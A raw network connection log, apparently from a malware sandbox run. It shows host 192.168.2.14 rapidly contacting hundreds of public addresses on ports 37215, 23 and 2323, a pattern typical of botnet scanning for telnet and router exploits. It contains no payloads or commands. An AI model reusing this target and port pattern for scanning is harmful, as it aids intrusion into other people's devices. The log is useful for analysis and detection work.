Nov 3, 2024 15:33:08.136972904 CET	37215	4847	197.152.180.44	192.168.2.14
Nov 3, 2024 15:33:08.136976957 CET	4833	23	192.168.2.14	68.236.201.84
Nov 3, 2024 15:33:08.136977911 CET	4847	37215	192.168.2.14	41.216.165.232
Nov 3, 2024 15:33:08.136984110 CET	23	4833	76.115.188.180	192.168.2.14
Nov 3, 2024 15:33:08.136993885 CET	37215	35530	41.196.236.180	192.168.2.14
Nov 3, 2024 15:33:08.136998892 CET	4847	37215	192.168.2.14	41.78.4.178
Nov 3, 2024 15:33:08.136998892 CET	4847	37215	192.168.2.14	197.152.180.44
Nov 3, 2024 15:33:08.137003899 CET	2323	4833	182.136.231.202	192.168.2.14
Nov 3, 2024 15:33:08.137017012 CET	4833	23	192.168.2.14	76.115.188.180
Nov 3, 2024 15:33:08.137025118 CET	37215	4847	156.134.16.37	192.168.2.14
Nov 3, 2024 15:33:08.137034893 CET	37215	4847	197.150.8.47	192.168.2.14
Nov 3, 2024 15:33:08.137036085 CET	35530	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:08.137043953 CET	23	4833	67.119.103.34	192.168.2.14
Nov 3, 2024 15:33:08.137044907 CET	4833	2323	192.168.2.14	182.136.231.202
Nov 3, 2024 15:33:08.137056112 CET	23	4833	190.190.253.252	192.168.2.14
Nov 3, 2024 15:33:08.137068033 CET	4847	37215	192.168.2.14	156.134.16.37
Nov 3, 2024 15:33:08.137073040 CET	4847	37215	192.168.2.14	197.150.8.47
Nov 3, 2024 15:33:08.137079000 CET	37215	4847	156.59.172.146	192.168.2.14
Nov 3, 2024 15:33:08.137080908 CET	4833	23	192.168.2.14	67.119.103.34
Nov 3, 2024 15:33:08.137088060 CET	23	4833	121.133.142.217	192.168.2.14
Nov 3, 2024 15:33:08.137094975 CET	4833	23	192.168.2.14	190.190.253.252
Nov 3, 2024 15:33:08.137098074 CET	37215	45690	41.247.161.60	192.168.2.14
Nov 3, 2024 15:33:08.137108088 CET	4847	37215	192.168.2.14	156.59.172.146
Nov 3, 2024 15:33:08.137108088 CET	37215	4847	197.115.157.163	192.168.2.14
Nov 3, 2024 15:33:08.137118101 CET	23	34996	133.16.228.85	192.168.2.14
Nov 3, 2024 15:33:08.137126923 CET	23	59082	39.199.141.240	192.168.2.14
Nov 3, 2024 15:33:08.137128115 CET	45690	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:08.137135029 CET	4833	23	192.168.2.14	121.133.142.217
Nov 3, 2024 15:33:08.137135983 CET	4847	37215	192.168.2.14	197.115.157.163
Nov 3, 2024 15:33:08.137144089 CET	23	33438	120.177.102.56	192.168.2.14
Nov 3, 2024 15:33:08.137145042 CET	47426	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:08.137363911 CET	23	52968	182.72.169.201	192.168.2.14
Nov 3, 2024 15:33:08.137373924 CET	37215	35530	41.196.236.180	192.168.2.14
Nov 3, 2024 15:33:08.137383938 CET	37215	35530	41.196.236.180	192.168.2.14
Nov 3, 2024 15:33:08.137392998 CET	37215	36356	41.196.236.180	192.168.2.14
Nov 3, 2024 15:33:08.137403011 CET	37215	52016	41.37.66.5	192.168.2.14
Nov 3, 2024 15:33:08.137420893 CET	37215	52016	41.37.66.5	192.168.2.14
Nov 3, 2024 15:33:08.137430906 CET	36356	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:08.137466908 CET	36356	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:08.137572050 CET	44788	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:08.137592077 CET	2323	58602	27.214.85.5	192.168.2.14
Nov 3, 2024 15:33:08.137615919 CET	37215	37256	41.104.63.38	192.168.2.14
Nov 3, 2024 15:33:08.137757063 CET	23	58192	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:08.138001919 CET	37215	45970	156.150.29.143	192.168.2.14
Nov 3, 2024 15:33:08.138011932 CET	23	36386	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:08.138047934 CET	45970	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:08.138050079 CET	53032	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:08.138171911 CET	45624	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:08.138207912 CET	37215	37256	41.104.63.38	192.168.2.14
Nov 3, 2024 15:33:08.138248920 CET	37215	45690	41.247.161.60	192.168.2.14
Nov 3, 2024 15:33:08.138303041 CET	37215	45690	41.247.161.60	192.168.2.14
Nov 3, 2024 15:33:08.138663054 CET	37215	45970	156.150.29.143	192.168.2.14
Nov 3, 2024 15:33:08.138753891 CET	37215	45970	156.150.29.143	192.168.2.14
Nov 3, 2024 15:33:08.138976097 CET	54836	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:08.139425039 CET	52896	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.139626026 CET	55666	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:08.140373945 CET	52638	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:08.140537977 CET	42560	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:08.140692949 CET	23	58286	149.152.23.218	192.168.2.14
Nov 3, 2024 15:33:08.140875101 CET	36386	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:08.140881062 CET	33438	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:08.141026020 CET	53468	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:08.141777992 CET	23	46586	122.80.73.254	192.168.2.14
Nov 3, 2024 15:33:08.141808987 CET	36386	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:08.141853094 CET	33176	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:08.141976118 CET	37215	37256	41.104.63.38	192.168.2.14
Nov 3, 2024 15:33:08.142164946 CET	37215	52016	41.37.66.5	192.168.2.14
Nov 3, 2024 15:33:08.142174959 CET	37215	35530	41.196.236.180	192.168.2.14
Nov 3, 2024 15:33:08.142184019 CET	37215	45690	41.247.161.60	192.168.2.14
Nov 3, 2024 15:33:08.142338037 CET	37228	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:08.142577887 CET	2323	44788	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:08.142682076 CET	37215	36356	41.196.236.180	192.168.2.14
Nov 3, 2024 15:33:08.142715931 CET	36356	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:08.142870903 CET	37215	45970	156.150.29.143	192.168.2.14
Nov 3, 2024 15:33:08.143089056 CET	35748	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:08.143188953 CET	58192	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:08.143680096 CET	23	54836	144.82.75.132	192.168.2.14
Nov 3, 2024 15:33:08.143934011 CET	59022	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:08.144145012 CET	37215	52896	197.222.130.234	192.168.2.14
Nov 3, 2024 15:33:08.144187927 CET	52896	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.144388914 CET	45598	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:08.144577980 CET	59082	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:08.144879103 CET	52968	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:08.144879103 CET	58602	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:08.144881010 CET	34996	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:08.145138979 CET	23	52638	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:08.145234108 CET	59912	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:08.145687103 CET	51586	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:08.145874023 CET	34996	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:08.146506071 CET	23	36386	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:08.146541119 CET	35826	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:08.147111893 CET	36468	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:08.147224903 CET	33438	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:08.147913933 CET	34266	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:08.148016930 CET	23	58192	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:08.148401976 CET	51232	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:08.148606062 CET	58602	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:08.149081945 CET	37215	52896	197.222.130.234	192.168.2.14
Nov 3, 2024 15:33:08.149281025 CET	59428	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:08.149312019 CET	23	59082	39.199.141.240	192.168.2.14
Nov 3, 2024 15:33:08.149743080 CET	60604	37215	192.168.2.14	197.40.97.9
Nov 3, 2024 15:33:08.149940968 CET	52968	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:08.150612116 CET	53796	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:08.150619030 CET	23	34996	133.16.228.85	192.168.2.14
Nov 3, 2024 15:33:08.151041985 CET	32884	37215	192.168.2.14	41.73.145.143
Nov 3, 2024 15:33:08.151813984 CET	57874	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:08.151962042 CET	23	33438	120.177.102.56	192.168.2.14
Nov 3, 2024 15:33:08.152417898 CET	52644	37215	192.168.2.14	156.141.61.80
Nov 3, 2024 15:33:08.152875900 CET	52896	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.153048038 CET	37820	37215	192.168.2.14	156.116.193.70
Nov 3, 2024 15:33:08.153564930 CET	2323	58602	27.214.85.5	192.168.2.14
Nov 3, 2024 15:33:08.153595924 CET	41720	37215	192.168.2.14	156.230.176.53
Nov 3, 2024 15:33:08.154203892 CET	54890	37215	192.168.2.14	197.13.1.213
Nov 3, 2024 15:33:08.154767036 CET	44672	37215	192.168.2.14	156.1.212.225
Nov 3, 2024 15:33:08.154901028 CET	23	52968	182.72.169.201	192.168.2.14
Nov 3, 2024 15:33:08.155330896 CET	38788	37215	192.168.2.14	41.216.165.232
Nov 3, 2024 15:33:08.155944109 CET	44598	37215	192.168.2.14	41.78.4.178
Nov 3, 2024 15:33:08.156534910 CET	44576	37215	192.168.2.14	197.152.180.44
Nov 3, 2024 15:33:08.156573057 CET	37215	57874	156.173.6.170	192.168.2.14
Nov 3, 2024 15:33:08.156615019 CET	57874	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:08.156877995 CET	49976	37215	192.168.2.14	41.173.225.126
Nov 3, 2024 15:33:08.156877995 CET	38834	37215	192.168.2.14	197.5.68.146
Nov 3, 2024 15:33:08.156882048 CET	45858	37215	192.168.2.14	41.63.150.43
Nov 3, 2024 15:33:08.156886101 CET	33472	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:08.156886101 CET	54976	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:08.156893969 CET	35776	37215	192.168.2.14	41.110.17.208
Nov 3, 2024 15:33:08.156897068 CET	57698	37215	192.168.2.14	156.196.158.189
Nov 3, 2024 15:33:08.156898975 CET	36908	37215	192.168.2.14	41.113.208.134
Nov 3, 2024 15:33:08.156898975 CET	45372	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:08.156900883 CET	57244	37215	192.168.2.14	156.171.200.193
Nov 3, 2024 15:33:08.156900883 CET	52290	37215	192.168.2.14	197.223.202.189
Nov 3, 2024 15:33:08.156900883 CET	36596	37215	192.168.2.14	41.178.239.94
Nov 3, 2024 15:33:08.156900883 CET	44750	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:08.156912088 CET	40662	37215	192.168.2.14	156.227.71.58
Nov 3, 2024 15:33:08.156912088 CET	39852	37215	192.168.2.14	41.219.54.123
Nov 3, 2024 15:33:08.156913042 CET	37178	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:08.156913042 CET	45786	37215	192.168.2.14	41.212.41.1
Nov 3, 2024 15:33:08.156913042 CET	40548	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:08.156913042 CET	60324	37215	192.168.2.14	197.3.48.196
Nov 3, 2024 15:33:08.156934977 CET	36966	37215	192.168.2.14	197.215.113.9
Nov 3, 2024 15:33:08.156934977 CET	40988	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:08.156934977 CET	33588	37215	192.168.2.14	156.167.119.212
Nov 3, 2024 15:33:08.156934977 CET	57940	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:08.156934977 CET	56072	37215	192.168.2.14	41.169.60.238
Nov 3, 2024 15:33:08.156935930 CET	43240	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:08.156934977 CET	52646	23	192.168.2.14	121.234.143.102
Nov 3, 2024 15:33:08.156934977 CET	53442	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:08.156934977 CET	39352	23	192.168.2.14	20.246.13.46
Nov 3, 2024 15:33:08.156934977 CET	50634	23	192.168.2.14	207.95.101.216
Nov 3, 2024 15:33:08.156935930 CET	53938	37215	192.168.2.14	197.185.108.10
Nov 3, 2024 15:33:08.156934977 CET	52982	2323	192.168.2.14	44.20.145.126
Nov 3, 2024 15:33:08.156939030 CET	45256	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:08.156935930 CET	41884	23	192.168.2.14	116.207.27.172
Nov 3, 2024 15:33:08.156939030 CET	43084	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:08.156936884 CET	34742	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:08.156939030 CET	34198	37215	192.168.2.14	41.255.139.124
Nov 3, 2024 15:33:08.156936884 CET	44784	23	192.168.2.14	195.192.70.208
Nov 3, 2024 15:33:08.156949997 CET	48902	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:08.156949997 CET	53484	23	192.168.2.14	46.243.236.106
Nov 3, 2024 15:33:08.156953096 CET	33878	23	192.168.2.14	86.21.80.29
Nov 3, 2024 15:33:08.156956911 CET	53148	23	192.168.2.14	19.77.22.181
Nov 3, 2024 15:33:08.156956911 CET	39052	23	192.168.2.14	119.164.224.217
Nov 3, 2024 15:33:08.156956911 CET	37556	23	192.168.2.14	198.225.115.255
Nov 3, 2024 15:33:08.157217979 CET	56586	37215	192.168.2.14	156.134.16.37
Nov 3, 2024 15:33:08.157819033 CET	36342	37215	192.168.2.14	197.150.8.47
Nov 3, 2024 15:33:08.158442020 CET	55646	37215	192.168.2.14	156.59.172.146
Nov 3, 2024 15:33:08.159034014 CET	38768	37215	192.168.2.14	197.115.157.163
Nov 3, 2024 15:33:08.159528971 CET	52896	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.159528971 CET	52896	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.159796000 CET	52960	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.160139084 CET	57874	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:08.160139084 CET	57874	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:08.160382032 CET	57902	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:08.161587954 CET	37215	57874	156.173.6.170	192.168.2.14
Nov 3, 2024 15:33:08.161628008 CET	57874	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:08.164326906 CET	37215	52896	197.222.130.234	192.168.2.14
Nov 3, 2024 15:33:08.164424896 CET	37215	52896	197.222.130.234	192.168.2.14
Nov 3, 2024 15:33:08.164562941 CET	37215	52960	197.222.130.234	192.168.2.14
Nov 3, 2024 15:33:08.164608955 CET	52960	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.164634943 CET	52960	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.164912939 CET	37215	57874	156.173.6.170	192.168.2.14
Nov 3, 2024 15:33:08.165082932 CET	37215	57874	156.173.6.170	192.168.2.14
Nov 3, 2024 15:33:08.166373968 CET	37215	57874	156.173.6.170	192.168.2.14
Nov 3, 2024 15:33:08.170176029 CET	37215	52960	197.222.130.234	192.168.2.14
Nov 3, 2024 15:33:08.170224905 CET	52960	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.188972950 CET	35132	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:08.188972950 CET	40348	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:08.188977003 CET	43180	2323	192.168.2.14	67.206.244.155
Nov 3, 2024 15:33:08.188977003 CET	55868	37215	192.168.2.14	156.99.132.67
Nov 3, 2024 15:33:08.188977003 CET	59790	37215	192.168.2.14	41.152.224.214
Nov 3, 2024 15:33:08.188977003 CET	44960	23	192.168.2.14	77.222.124.20
Nov 3, 2024 15:33:08.188982964 CET	60438	37215	192.168.2.14	197.179.102.71
Nov 3, 2024 15:33:08.188982964 CET	49892	37215	192.168.2.14	156.140.164.16
Nov 3, 2024 15:33:08.188982964 CET	39408	37215	192.168.2.14	156.134.105.214
Nov 3, 2024 15:33:08.188982964 CET	44948	23	192.168.2.14	173.42.154.129
Nov 3, 2024 15:33:08.188994884 CET	42834	23	192.168.2.14	180.89.225.190
Nov 3, 2024 15:33:08.188997984 CET	39398	23	192.168.2.14	118.95.248.76
Nov 3, 2024 15:33:08.188997984 CET	45590	23	192.168.2.14	174.169.170.73
Nov 3, 2024 15:33:08.188998938 CET	50702	23	192.168.2.14	104.59.145.38
Nov 3, 2024 15:33:08.188999891 CET	42840	23	192.168.2.14	200.122.147.32
Nov 3, 2024 15:33:08.188999891 CET	34216	23	192.168.2.14	146.184.36.238
Nov 3, 2024 15:33:08.188999891 CET	37296	37215	192.168.2.14	41.168.9.54
Nov 3, 2024 15:33:08.193905115 CET	37215	35132	156.217.236.232	192.168.2.14
Nov 3, 2024 15:33:08.193922997 CET	37215	40348	197.205.43.36	192.168.2.14
Nov 3, 2024 15:33:08.193953037 CET	35132	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:08.193967104 CET	40348	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:08.194031000 CET	35132	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:08.194031000 CET	35132	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:08.194315910 CET	35884	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:08.194653034 CET	40348	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:08.194653988 CET	40348	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:08.194906950 CET	41090	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:08.198894978 CET	37215	35132	156.217.236.232	192.168.2.14
Nov 3, 2024 15:33:08.199073076 CET	37215	35884	156.217.236.232	192.168.2.14
Nov 3, 2024 15:33:08.199120045 CET	35884	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:08.199142933 CET	35884	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:08.199430943 CET	37215	40348	197.205.43.36	192.168.2.14
Nov 3, 2024 15:33:08.199476004 CET	40348	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:08.199485064 CET	37215	40348	197.205.43.36	192.168.2.14
Nov 3, 2024 15:33:08.199589014 CET	37215	40348	197.205.43.36	192.168.2.14
Nov 3, 2024 15:33:08.204279900 CET	37215	35884	156.217.236.232	192.168.2.14
Nov 3, 2024 15:33:08.204328060 CET	35884	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:08.204582930 CET	23	36848	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:08.204664946 CET	36848	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:08.204792023 CET	37215	40348	197.205.43.36	192.168.2.14
Nov 3, 2024 15:33:08.204989910 CET	36964	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:08.209434032 CET	23	36848	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:08.209749937 CET	23	36964	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:08.209808111 CET	36964	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:08.214783907 CET	23	36964	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:08.214854956 CET	36964	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:08.215159893 CET	36966	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:08.219603062 CET	23	36964	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:08.219890118 CET	23	36966	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:08.219938993 CET	36966	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:08.220876932 CET	33032	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:08.220880032 CET	58954	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:08.220887899 CET	43012	23	192.168.2.14	95.7.203.251
Nov 3, 2024 15:33:08.220887899 CET	53466	37215	192.168.2.14	41.31.2.200
Nov 3, 2024 15:33:08.220887899 CET	37318	37215	192.168.2.14	156.196.195.67
Nov 3, 2024 15:33:08.220889091 CET	51290	37215	192.168.2.14	156.198.181.96
Nov 3, 2024 15:33:08.220889091 CET	43440	23	192.168.2.14	36.181.35.174
Nov 3, 2024 15:33:08.220890999 CET	36730	23	192.168.2.14	212.140.253.155
Nov 3, 2024 15:33:08.220890999 CET	58966	23	192.168.2.14	98.111.58.225
Nov 3, 2024 15:33:08.220890999 CET	33876	37215	192.168.2.14	41.202.1.65
Nov 3, 2024 15:33:08.220901012 CET	51320	37215	192.168.2.14	197.170.29.185
Nov 3, 2024 15:33:08.220902920 CET	59392	37215	192.168.2.14	156.76.135.96
Nov 3, 2024 15:33:08.220902920 CET	38128	37215	192.168.2.14	197.254.53.16
Nov 3, 2024 15:33:08.220905066 CET	55982	37215	192.168.2.14	41.94.83.32
Nov 3, 2024 15:33:08.220915079 CET	39398	23	192.168.2.14	174.11.30.87
Nov 3, 2024 15:33:08.220915079 CET	42944	37215	192.168.2.14	197.70.188.139
Nov 3, 2024 15:33:08.220918894 CET	42952	23	192.168.2.14	211.210.255.138
Nov 3, 2024 15:33:08.220918894 CET	41078	37215	192.168.2.14	156.74.90.42
Nov 3, 2024 15:33:08.220937014 CET	60246	23	192.168.2.14	198.175.87.210
Nov 3, 2024 15:33:08.220937014 CET	59640	23	192.168.2.14	124.151.144.57
Nov 3, 2024 15:33:08.220937014 CET	58022	23	192.168.2.14	124.217.5.131
Nov 3, 2024 15:33:08.220938921 CET	50838	23	192.168.2.14	104.120.197.44
Nov 3, 2024 15:33:08.220940113 CET	53038	37215	192.168.2.14	41.194.49.85
Nov 3, 2024 15:33:08.220941067 CET	35756	37215	192.168.2.14	197.83.253.179
Nov 3, 2024 15:33:08.220940113 CET	52370	23	192.168.2.14	65.161.59.74
Nov 3, 2024 15:33:08.220940113 CET	52382	23	192.168.2.14	220.94.249.244
Nov 3, 2024 15:33:08.220940113 CET	43692	23	192.168.2.14	76.244.142.178
Nov 3, 2024 15:33:08.220940113 CET	45870	37215	192.168.2.14	156.231.15.248
Nov 3, 2024 15:33:08.220940113 CET	44400	2323	192.168.2.14	152.183.125.215
Nov 3, 2024 15:33:08.220940113 CET	47838	37215	192.168.2.14	41.30.36.150
Nov 3, 2024 15:33:08.220940113 CET	39364	2323	192.168.2.14	209.9.141.12
Nov 3, 2024 15:33:08.220941067 CET	53220	37215	192.168.2.14	41.110.152.122
Nov 3, 2024 15:33:08.220940113 CET	57402	37215	192.168.2.14	41.94.176.141
Nov 3, 2024 15:33:08.220940113 CET	43338	37215	192.168.2.14	41.0.156.243
Nov 3, 2024 15:33:08.220941067 CET	46176	37215	192.168.2.14	197.156.145.224
Nov 3, 2024 15:33:08.220940113 CET	53478	37215	192.168.2.14	156.175.61.228
Nov 3, 2024 15:33:08.220962048 CET	38898	37215	192.168.2.14	197.123.181.186
Nov 3, 2024 15:33:08.220962048 CET	55982	37215	192.168.2.14	41.127.57.2
Nov 3, 2024 15:33:08.220963001 CET	45286	37215	192.168.2.14	41.251.35.62
Nov 3, 2024 15:33:08.220963955 CET	52688	37215	192.168.2.14	197.202.62.10
Nov 3, 2024 15:33:08.220963955 CET	46318	37215	192.168.2.14	156.228.90.120
Nov 3, 2024 15:33:08.220963955 CET	60264	37215	192.168.2.14	156.225.184.189
Nov 3, 2024 15:33:08.220967054 CET	50004	23	192.168.2.14	12.80.90.209
Nov 3, 2024 15:33:08.220967054 CET	50130	37215	192.168.2.14	197.235.77.122
Nov 3, 2024 15:33:08.220967054 CET	50678	37215	192.168.2.14	41.186.137.87
Nov 3, 2024 15:33:08.220967054 CET	47704	37215	192.168.2.14	41.194.179.215
Nov 3, 2024 15:33:08.220967054 CET	46452	37215	192.168.2.14	156.176.137.173
Nov 3, 2024 15:33:08.220971107 CET	46970	37215	192.168.2.14	156.121.81.82
Nov 3, 2024 15:33:08.220971107 CET	41386	37215	192.168.2.14	156.78.176.195
Nov 3, 2024 15:33:08.220971107 CET	41304	37215	192.168.2.14	197.71.251.4
Nov 3, 2024 15:33:08.220971107 CET	39260	37215	192.168.2.14	41.53.21.200
Nov 3, 2024 15:33:08.220973015 CET	37620	37215	192.168.2.14	156.71.26.142
Nov 3, 2024 15:33:08.220973015 CET	34274	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:08.220973969 CET	54642	37215	192.168.2.14	156.157.12.162
Nov 3, 2024 15:33:08.220973969 CET	33506	37215	192.168.2.14	41.240.71.183
Nov 3, 2024 15:33:08.220973969 CET	54806	37215	192.168.2.14	41.140.100.213
Nov 3, 2024 15:33:08.220974922 CET	39464	37215	192.168.2.14	197.123.127.167
Nov 3, 2024 15:33:08.220973969 CET	60580	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:08.220979929 CET	44104	37215	192.168.2.14	41.111.151.47
Nov 3, 2024 15:33:08.225419998 CET	23	36966	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:08.225481987 CET	36966	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:08.225660086 CET	37215	33032	41.152.10.217	192.168.2.14
Nov 3, 2024 15:33:08.225704908 CET	33032	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:08.225729942 CET	33032	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:08.225805044 CET	36968	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:08.230221033 CET	23	36966	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:08.231805086 CET	37215	33032	41.152.10.217	192.168.2.14
Nov 3, 2024 15:33:08.231853008 CET	33032	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:08.245831013 CET	37215	35132	156.217.236.232	192.168.2.14
Nov 3, 2024 15:33:08.252979994 CET	57834	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:08.252979994 CET	42298	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:08.252989054 CET	44702	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:08.252989054 CET	36480	23	192.168.2.14	149.198.132.209
Nov 3, 2024 15:33:08.252989054 CET	52732	23	192.168.2.14	210.46.140.34
Nov 3, 2024 15:33:08.252990961 CET	37428	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:08.252990961 CET	53460	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:08.252990961 CET	41384	23	192.168.2.14	36.203.78.30
Nov 3, 2024 15:33:08.252990961 CET	35706	23	192.168.2.14	66.67.58.9
Nov 3, 2024 15:33:08.252993107 CET	52924	23	192.168.2.14	58.242.158.172
Nov 3, 2024 15:33:08.252995014 CET	40148	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:08.252995014 CET	58844	23	192.168.2.14	4.190.209.79
Nov 3, 2024 15:33:08.252995014 CET	48870	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:08.252995014 CET	57228	23	192.168.2.14	107.237.69.15
Nov 3, 2024 15:33:08.252995968 CET	53102	23	192.168.2.14	168.146.104.161
Nov 3, 2024 15:33:08.252995968 CET	53510	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:08.253015041 CET	34704	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:08.253015041 CET	33338	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:08.253015041 CET	50632	23	192.168.2.14	79.182.16.153
Nov 3, 2024 15:33:08.253015995 CET	42018	2323	192.168.2.14	164.104.163.42
Nov 3, 2024 15:33:08.253015995 CET	38582	23	192.168.2.14	148.109.114.29
Nov 3, 2024 15:33:08.253015995 CET	39846	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:08.253015995 CET	49902	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:08.253016949 CET	49888	23	192.168.2.14	125.6.47.19
Nov 3, 2024 15:33:08.253016949 CET	39316	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:08.253016949 CET	54534	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:08.253017902 CET	42748	23	192.168.2.14	72.37.180.64
Nov 3, 2024 15:33:08.253020048 CET	40990	23	192.168.2.14	208.146.14.98
Nov 3, 2024 15:33:08.253021002 CET	56776	23	192.168.2.14	153.84.54.160
Nov 3, 2024 15:33:08.253021002 CET	60738	23	192.168.2.14	95.34.63.61
Nov 3, 2024 15:33:08.253024101 CET	50534	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:08.257842064 CET	37215	57834	156.98.94.204	192.168.2.14
